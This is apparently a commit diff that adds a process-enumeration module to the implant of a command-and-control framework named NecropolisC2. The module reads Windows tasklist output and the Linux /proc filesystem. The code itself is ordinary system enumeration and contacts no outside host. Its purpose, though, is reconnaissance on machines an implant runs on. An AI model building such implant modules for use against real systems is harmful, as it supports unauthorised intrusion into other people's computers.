update readme

implant/core/ps.go

@@ -0,0 +1,107 @@
+package core
+
+import (
+	"bytes"
+	"encoding/csv"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strconv"
+	"strings"
+
+	cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
+)
+
+func listProcesses() []*cpb.Process {
+	switch runtime.GOOS {
+	case "linux":
+		return listProcessesLinux()
+	case "windows":
+		return listProcessesWindows()
+	default:
+		return listProcessesDummy()
+	}
+}
+
+func listProcessesWindows() []*cpb.Process {
+	cmd := exec.Command("tasklist", "/FO", "CSV", "/NH")
+	out, err := cmd.Output()
+	if err != nil {
+		return listProcessesDummy()
+	}
+	r := csv.NewReader(bytes.NewReader(out))
+	records, err := r.ReadAll()
+	if err != nil {
+		return listProcessesDummy()
+	}
+	var procs []*cpb.Process
+	for _, parts := range records {
+		if len(parts) < 2 {
+			continue
+		}
+		name := strings.Trim(parts[0], `"`)
+		pidStr := strings.Trim(parts[1], `"`)
+		pid, _ := strconv.Atoi(pidStr)
+		owner := ""
+		if len(parts) >= 7 {
+			owner = strings.Trim(parts[6], `"`)
+		}
+		procs = append(procs, &cpb.Process{Pid: int32(pid), Name: name, Owner: owner})
+	}
+	return procs
+}
+
+func listProcessesLinux() []*cpb.Process {
+	entries, err := os.ReadDir("/proc")
+	if err != nil {
+		return listProcessesDummy()
+	}
+
+	var procs []*cpb.Process
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		pid, err := strconv.Atoi(e.Name())
+		if err != nil {
+			continue
+		}
+
+		p := &cpb.Process{Pid: int32(pid)}
+
+		stat, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "stat"))
+		if len(stat) == 0 {
+			continue
+		}
+		parenStart := bytes.IndexByte(stat, '(')
+		parenEnd := bytes.LastIndexByte(stat, ')')
+		if parenStart >= 0 && parenEnd > parenStart {
+			p.Name = string(stat[parenStart+1 : parenEnd])
+		}
+
+		status, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "status"))
+		if len(status) > 0 {
+			for _, line := range strings.Split(string(status), "\n") {
+				if strings.HasPrefix(line, "Name:") {
+					val := strings.TrimSpace(strings.TrimPrefix(line, "Name:"))
+					if p.Name == "" {
+						p.Name = val
+					}
+			} else if strings.HasPrefix(line, "Uid:") {
+				uidFields := strings.Fields(strings.TrimSpace(strings.TrimPrefix(line, "Uid:")))
+				if len(uidFields) > 0 {
+					p.Owner = uidFields[0]
+				}
+				}
+			}
+		}
+
+		procs = append(procs, p)
+	}
+	return procs
+}
+
+func listProcessesDummy() []*cpb.Process {
+	return nil
+}